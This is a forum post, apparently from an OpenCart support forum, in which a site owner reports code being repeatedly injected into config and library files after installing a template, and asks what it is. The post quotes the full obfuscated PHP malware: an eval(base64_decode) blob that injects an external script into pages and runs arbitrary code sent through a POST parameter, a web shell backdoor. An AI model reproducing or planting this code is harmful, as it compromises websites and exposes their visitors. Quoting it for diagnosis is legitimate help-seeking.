ChickenSalad template problem

Hello

I installed ChickenSalad template everything was fine for one weak site worked very nice, but now i get some weird code into config.php | index.php | /system/library/config.php | /system/library/db.php -- which does my site to crush. I get the code inserted at several hour intervals, i think something between 18 - 24 hours.
here is the code:
eval(base64_decode('aWYoIWlzc2V0KCRpb3JmMSkpe2Z1bmN0aW9uIGlvcmYoJHMpe2lmKHByZWdfbWF0Y2hfYWxsKCcjPHNjcmlwdCguKj8pPC9zY3JpcHQ+I2lzJywkcywkYSkpZm9yZWFjaCgkYVswXSBhcyAkdilpZihjb3VudChleHBsb2RlKCJcbiIsJHYpKT41KXskZT1wcmVnX21hdGNoKCcjW1wnIl1bXlxzXCciXC4sO1w/IVxbXF06Lzw+XChcKV17MzAsfSMnLCR2KXx8cHJlZ19tYXRjaCgnI1tcKFxbXShccypcZCssKXsyMCx9IycsJHYpO2lmKChwcmVnX21hdGNoKCcjXGJldmFsXGIjJywkdikmJigkZXx8c3RycG9zKCR2LCdmcm9tQ2hhckNvZGUnKSkpfHwoJGUmJnN0cnBvcygkdiwnZG9jdW1lbnQud3JpdGUnKSkpJHM9c3RyX3JlcGxhY2UoJHYsJycsJHMpO31pZihwcmVnX21hdGNoX2FsbCgnIzxpZnJhbWUgKFtePl0qPylzcmM9W1wnIl0/KGh0dHA6KT8vLyhbXj5dKj8pPiNpcycsJHMsJGEpKWZvcmVhY2goJGFbMF0gYXMgJHYpaWYocHJlZ19tYXRjaCgnIyB3aWR0aFxzKj1ccypbXCciXT8wKlswMV1bXCciPiBdfGRpc3BsYXlccyo6XHMqbm9uZSNpJywkdikmJiFzdHJzdHIoJHYsJz8nLic+JykpJHM9cHJlZ19yZXBsYWNlKCcjJy5wcmVnX3F1b3RlKCR2LCcjJykuJy4qPzwvaWZyYW1lPiNpcycsJycsJHMpOyRzPXN0cl9yZXBsYWNlKCRhPWJhc2U2NF9kZWNvZGUoJ1BITmpjbWx3ZENCemNtTTlhSFIwY0RvdkwyZGhiV0ZvWldWeUxuTjFhSFZtWVhKaFltbGhMbU52YlM5d2IzQXZZWEowYVdOc1pTNXdhSEFnUGp3dmMyTnlhWEIwUGc9PScpLCcnLCRzKTtpZihzdHJpc3RyKCRzLCc8Ym9keScpKSRzPXByZWdfcmVwbGFjZSgnIyhccyo8Ym9keSkjbWknLCRhLidcMScsJHMpO2Vsc2VpZihzdHJwb3MoJHMsJyxhJykpJHMuPSRhO3JldHVybiAkczt9ZnVuY3Rpb24gaW9yZjIoJGEsJGIsJGMsJGQpe2dsb2JhbCAkaW9yZjE7JHM9YXJyYXkoKTtpZihmdW5jdGlvbl9leGlzdHMoJGlvcmYxKSljYWxsX3VzZXJfZnVuYygkaW9yZjEsJGEsJGIsJGMsJGQpO2ZvcmVhY2goQG9iX2dldF9zdGF0dXMoMSkgYXMgJHYpaWYoKCRhPSR2WyduYW1lJ10pPT0naW9yZicpcmV0dXJuO2Vsc2VpZigkYT09J29iX2d6aGFuZGxlcicpYnJlYWs7ZWxzZSAkc1tdPWFycmF5KCRhPT0nZGVmYXVsdCBvdXRwdXQgaGFuZGxlcic/ZmFsc2U6JGEpO2ZvcigkaT1jb3VudCgkcyktMTskaT49MDskaS0tKXskc1skaV1bMV09b2JfZ2V0X2NvbnRlbnRzKCk7b2JfZW5kX2NsZWFuKCk7fW9iX3N0YXJ0KCdpb3JmJyk7Zm9yKCRpPTA7JGk8Y291bnQoJHMpOyRpKyspe29iX3N0YXJ0KCRzWyRpXVswXSk7ZWNobyAkc1skaV1bMV07fX19JGlvcmZsPSgoJGE9QHNldF9lcnJvcl9oYW5kbGVyKCdpb3JmMicpKSE9J2lvcmYyJyk/JGE6MDtldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUWydlJ10pKTs=')); ?><?php


Can Anyone tell me what is it about ?

I think you should take a look at this link http://forum.opencart.com/viewtopic.php ... e64#p33092